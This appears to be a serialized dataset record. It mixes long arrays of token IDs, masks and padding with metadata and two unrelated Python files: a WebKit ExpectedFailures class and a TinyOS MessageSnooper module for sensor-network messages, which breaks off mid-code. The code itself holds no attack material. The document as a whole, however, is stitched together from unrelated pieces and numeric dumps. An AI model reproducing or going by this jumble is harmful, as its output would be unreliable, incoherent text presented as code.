199, 504, 1275, 992, 492, 6935, 3353, 199, 504, 1275, 3908, 492, 27282, 3694, 421, 199, 318, 1255, 63, 8856, 8, 87, 771, 12, 666, 12, 3631, 63, 265, 63, 72, 4478, 29, 797, 12, 326, 3631, 63, 265, 63, 705, 29, 549, 12, 326, 2536, 63, 1065, 29, 549, 12, 1011, 958, 304, 272, 408, 272, 11298, 805, 3879, 314, 10431, 14, 339, 520, 635, 3631, 63, 265, 63, 705, 26, 8015, 314, 10431, 641, 376, 1919, 436, 746, 642, 1373, 272, 370, 376, 7008, 2166, 367, 282, 6466, 6661, 14, 272, 520, 635, 666, 26, 3918, 370, 2112, 272, 520, 635, 3631, 63, 265, 63, 72, 4478, 26, 272, 520, 635, 2536, 63, 1065, 26, 272, 520, 635, 2074, 26, 10234, 78, 279, 7681, 1680, 310, 1470, 272, 520, 635, 336, 771, 26, 10431, 6869, 315, 11204, 402, 10431, 6451, 272, 408, 272, 1830, 715, 26, 267, 862, 26, 288, 340, 2536, 63, 1065, 26, 355, 2536, 63, 1065, 275, 756, 355, 336, 771, 14, 1412, 8, 576, 9, 355, 2059, 288, 587, 26, 355, 336, 771, 14, 10506, 360, 2184, 297, 283, 2246, 358, 355, 2059, 267, 871, 27282, 40, 4478, 465, 10431, 72, 4478, 63, 21142, 26, 288, 1453, 63, 1113, 275, 336, 771, 14, 362, 63, 1818, 63, 785, 342, 288, 340, 1453, 63, 1113, 26, 355, 340, 10431, 72, 4478, 63, 21142, 14, 1287, 26, 490, 1453, 63, 1113, 14, 409, 63, 1287, 8, 8856, 72, 4478, 63, 21142, 14, 1287, 12, 5644, 10431, 72, 4478, 63, 21142, 14, 1188, 9, 490, 1453, 63, 1113, 14, 1023, 275, 6935, 3353, 14, 40, 19600, 1149, 490, 1453, 63, 1113, 14, 2117, 8, 1023, 29, 1692, 3353, 14, 40, 19600, 1149, 12, 3660, 2120, 63, 5337, 29, 87, 771, 14, 362, 3864, 82, 4476, 1304, 1062, 3660, 1305, 63, 8856, 29, 87, 771, 14, 2580, 9, 355, 587, 26, 490, 1453, 63, 1113, 14, 1023, 275, 6935, 3353, 14, 12458, 1206, 490, 1453, 63, 1113, 14, 2117, 8, 1023, 29, 1692, 3353, 14, 12458, 1206, 12, 3660, 2120, 63, 5337, 29, 87, 771, 14, 362, 3864, 82, 4476, 1304, 1062, 3660, 1305, 63, 8856, 29, 87, 771, 14, 2580, 9, 288, 587, 26, 355, 336, 771, 14, 793, 14, 3764, 480, 1944, 4702, 909, 1911, 9124, 953, 336, 771, 14, 2117, 8, 1205, 29, 17527, 3694, 14, 40, 19600, 1149, 9, 288, 1245, 275, 298, 17527, 1543, 83, 7, 22939, 471, 737, 2120, 450, 83, 543, 1245, 26, 450, 83, 2, 450, 971, 1993, 334, 87, 771, 14, 354, 12, 2432, 336, 771, 14, 362, 63, 1818, 63, 1765, 354, 342, 503, 298, 5912, 401, 2432, 10431, 72, 4478, 63, 21142, 14, 1188, 9, 288, 336, 771, 14, 793, 14, 3764, 8, 1188, 9, 288, 340, 3631, 63, 265, 63, 72, 4478, 26, 355, 2059, 267, 871, 2186, 465, 1919, 63, 21142, 26, 288, 1499, 275, 298, 547, 26, 450, 82, 60, 78, 5, 83, 2, 450, 971, 2116, 334, 1971, 63, 21142, 12, 5190, 14, 908, 63, 2804, 1012, 288, 336, 771, 14, 793, 14, 705, 8, 1328, 9, 288, 1453, 63, 1113, 275, 336, 771, 14, 362, 63, 1818, 63, 785, 342, 288, 340, 1453, 63, 1113, 26, 355, 327, 10729, 376, 1125, 1245, 465, 282, 2008, 334, 1213, 12, 2436, 9, 355, 1453, 63, 1113, 14, 409, 63, 705, 63, 1188, 1332, 495, 8, 1971, 63, 21142, 395, 1499, 430, 355, 1453, 63, 1113, 14, 2117, 8, 490, 6935, 3353, 14, 3170, 12, 490, 336, 771, 14, 362, 3864, 82, 4476, 1304, 1062, 490, 1305, 63, 8856, 29, 87, 771, 14, 2580, 355, 776, 288, 336, 771, 14, 2117, 8, 1205, 29, 17527, 3694, 14, 3170, 9, 288, 340, 3631, 63, 265, 63, 705, 26, 355, 340, 1228, 8, 1971, 63, 21142, 12, 9361, 15160, 304, 490, 746, 1919, 63, 21142, 355, 587, 26, 490, 746, 9361, 15160, 8, 717, 1245, 29, 1328, 12, 717, 1305, 63, 8856, 29, 87, 771, 14, 2580, 12, 717, 1305, 63, 785, 29, 87, 771, 14, 362, 3864, 82, 5665, 1304, 1062, 490, 776, 421, 199, 318, 1980, 63, 9416, 8, 87, 771, 12, 10431, 63, 785, 12, 11004, 63, 1403, 628, 10506, 63, 1765, 401, 2432, 2120, 63, 2743, 29, 17, 12, 3631, 63, 265, 63, 72, 4478, 29, 797, 12, 1011, 958, 304, 272, 408, 272, 1448, 1781, 6451, 402, 10431, 367, 1373, 1627, 909, 687, 298, 10506, 63, 1403, 1674, 339, 520, 635, 2074, 26, 272, 520, 635, 10431, 63, 785, 26, 272, 520, 635, 2120, 63, 2743, 26, 272, 520, 635, 3631, 63, 265, 63, 72, 4478, 26, 272, 520, 635, 11004, 63, 1403, 26, 883, 506, 1373, 402, 26, 339, 627, 11004, 63, 5701, 26, 911, 11004, 687, 314, 4136, 2120, 272, 627, 1980, 63, 2184, 26, 911, 1980, 370, 314, 2163, 2120, 339, 520, 466, 11004, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
iradul/phantomjs-clone
src/qt/qtwebkit/Tools/Scripts/webkitpy/tool/bot/expectedfailures.py
126
2626
# Copyright (c) 2011 Google Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. class ExpectedFailures(object): def __init__(self): self._failures = set() self._is_trustworthy = True @classmethod def _has_failures(cls, results): return bool(results and results.failing_tests()) @classmethod def _should_trust(cls, results): return bool(cls._has_failures(results) and results.failure_limit_count() and len(results.failing_tests()) < results.failure_limit_count()) def failures_were_expected(self, results): if not self._is_trustworthy: return False if not self._should_trust(results): return False return set(results.failing_tests()) <= self._failures def unexpected_failures_observed(self, results): if not self._is_trustworthy: return None if not self._has_failures(results): return None return set(results.failing_tests()) - self._failures def update(self, results): if results: self._failures = set(results.failing_tests()) self._is_trustworthy = self._should_trust(results)
bsd-3-clause
[ 3, 1898, 334, 67, 9, 7760, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 199, 3, 4248, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 199, 3, 315, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 4475, 3277, 14, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 421, 199, 533, 13796, 29415, 8, 785, 304, 272, 347, 636, 826, 721, 277, 304, 267, 291, 423, 9968, 275, 663, 342, 267, 291, 423, 374, 63, 15756, 584, 273, 89, 275, 715, 339, 768, 3744, 272, 347, 485, 1989, 63, 9968, 8, 1886, 12, 2058, 304, 267, 372, 2155, 8, 2604, 436, 2058, 14, 25299, 63, 2219, 1012, 339, 768, 3744, 272, 347, 485, 5626, 63, 15756, 8, 1886, 12, 2058, 304, 267, 372, 2155, 8, 1886, 423, 1989, 63, 9968, 8, 2604, 9, 436, 2058, 14, 5328, 63, 3097, 63, 835, 342, 436, 822, 8, 2604, 14, 25299, 63, 2219, 1012, 665, 2058, 14, 5328, 63, 3097, 63, 835, 1012, 339, 347, 9081, 63, 1129, 264, 63, 2062, 8, 277, 12, 2058, 304, 267, 340, 440, 291, 423, 374, 63, 15756, 584, 273, 89, 26, 288, 372, 756, 267, 340, 440, 291, 423, 5626, 63, 15756, 8, 2604, 304, 288, 372, 756, 267, 372, 663, 8, 2604, 14, 25299, 63, 2219, 1012, 2695, 291, 423, 9968, 339, 347, 10537, 63, 9968, 63, 22300, 8, 277, 12, 2058, 304, 267, 340, 440, 291, 423, 374, 63, 15756, 584, 273, 89, 26, 288, 372, 488, 267, 340, 440, 291, 423, 1989, 63, 9968, 8, 2604, 304, 288, 372, 488, 267, 372, 663, 8, 2604, 14, 25299, 63, 2219, 1012, 446, 291, 423, 9968, 339, 347, 1678, 8, 277, 12, 2058, 304, 267, 340, 2058, 26, 288, 291, 423, 9968, 275, 663, 8, 2604, 14, 25299, 63, 2219, 1012, 288, 291, 423, 374, 63, 15756, 584, 273, 89, 275, 291, 423, 5626, 63, 15756, 8, 2604, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 334, 67, 9, 7760, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 199, 3, 4248, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 199, 3, 315, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 4475, 3277, 14, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 421, 199, 533, 13796, 29415, 8, 785, 304, 272, 347, 636, 826, 721, 277, 304, 267, 291, 423, 9968, 275, 663, 342, 267, 291, 423, 374, 63, 15756, 584, 273, 89, 275, 715, 339, 768, 3744, 272, 347, 485, 1989, 63, 9968, 8, 1886, 12, 2058, 304, 267, 372, 2155, 8, 2604, 436, 2058, 14, 25299, 63, 2219, 1012, 339, 768, 3744, 272, 347, 485, 5626, 63, 15756, 8, 1886, 12, 2058, 304, 267, 372, 2155, 8, 1886, 423, 1989, 63, 9968, 8, 2604, 9, 436, 2058, 14, 5328, 63, 3097, 63, 835, 342, 436, 822, 8, 2604, 14, 25299, 63, 2219, 1012, 665, 2058, 14, 5328, 63, 3097, 63, 835, 1012, 339, 347, 9081, 63, 1129, 264, 63, 2062, 8, 277, 12, 2058, 304, 267, 340, 440, 291, 423, 374, 63, 15756, 584, 273, 89, 26, 288, 372, 756, 267, 340, 440, 291, 423, 5626, 63, 15756, 8, 2604, 304, 288, 372, 756, 267, 372, 663, 8, 2604, 14, 25299, 63, 2219, 1012, 2695, 291, 423, 9968, 339, 347, 10537, 63, 9968, 63, 22300, 8, 277, 12, 2058, 304, 267, 340, 440, 291, 423, 374, 63, 15756, 584, 273, 89, 26, 288, 372, 488, 267, 340, 440, 291, 423, 1989, 63, 9968, 8, 2604, 304, 288, 372, 488, 267, 372, 663, 8, 2604, 14, 25299, 63, 2219, 1012, 446, 291, 423, 9968, 339, 347, 1678, 8, 277, 12, 2058, 304, 267, 340, 2058, 26, 288, 291, 423, 9968, 275, 663, 8, 2604, 14, 25299, 63, 2219, 1012, 288, 291, 423, 374, 63, 15756, 584, 273, 89, 275, 291, 423, 5626, 63, 15756, 8, 2604, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
fresskarma/tinyos-1.x
tools/python/pytos/util/MessageSnooper.py
1
4759
#!/usr/bin/python #$Id: MessageSnooper.py,v 1.2 2005/10/27 02:23:37 kaminw Exp $ # "Copyright (c) 2000-2003 The Regents of the University of California. # All rights reserved. # # Permission to use, copy, modify, and distribute this software and its # documentation for any purpose, without fee, and without written agreement # is hereby granted, provided that the above copyright notice, the following # two paragraphs and the author appear in all copies of this software. # # IN NO EVENT SHALL THE UNIVERSITY OF CALIFORNIA BE LIABLE TO ANY PARTY FOR # DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT # OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF THE UNIVERSITY # OF CALIFORNIA HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # THE UNIVERSITY OF CALIFORNIA SPECIFICALLY DISCLAIMS ANY WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY # AND FITNESS FOR A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS # ON AN "AS IS" BASIS, AND THE UNIVERSITY OF CALIFORNIA HAS NO OBLIGATION TO # PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS." # # @author Kamin Whitehouse # import sys import pytos.Comm as Comm import pytos.tools.Drain as Drain import pytos.tools.Drip as Drip import threading def registerAllMsgs(msgs, msgQueue, connection) : for msgName in msgs._msgNames : msg = msgs[msgName] connection.register( msg , msgQueue ) class MessageSnooper( object ) : """This module offers \"register\" and \"unregister\" functions that take a messageHandler argument but no message type argument. Instead, the messageHandler will receive ALL incoming messages. It currently handles local receive, drain messages, rpc messages, and ramSymbol messages. Any new routing protocols should be incorporated into this module. usage: snooper = MessageSnooper(app) snooper.start snooper.stop snooper.register(callbackFcn) snooper.unregister(callbackFcn) """ def __init__( self , app="" ) : self.app = app self.listeners = [] msgQueue = Comm.MessageQueue(10) #register the msgQueue for all message types with localComm comm = Comm.getCommObject(self.app, self.app.motecom) registerAllMsgs(self.app.msgs, msgQueue, comm) #register the msgQueue for all message types with drain and unregister DrainMsg with localComm if "AM_DRAINMSG" in self.app.enums._enums : drains = Drain.getDrainObject(self.app) for drain in drains: registerAllMsgs(self.app.msgs, msgQueue, drain) comm.unregister(self.app.msgs.DrainMsg, msgQueue) #if rpc is imported if self.app.__dict__.has_key("rpc") : #make sure a drip object exists for snooping on cmds drips = Drip.getDripObject(self.app, self.app.motecom, self.app.enums.AM_RPCCOMMANDMSG) #register the msgQueue for all rpc response messages for command in self.app.rpc._messages.values() : command.register(msgQueue) #and unregister RpcResponseMsg from drain drains = Drain.getDrainObject(self.app, self.app.motecom, 0xfffe) #ugh... hard coded number for drain in drains: drain.unregister(app.msgs.RpcResponseMsg, msgQueue) #if ram symbols is imported if self.app.__dict__.has_key("ramSymbols") : #register the msgQueue for all ram symbol response messages for symbol in self.app.ramSymbols._messages.values() : symbol.registerPeek(msgQueue) symbol.registerPoke(msgQueue) #and unregister from peek/poke rpc commands 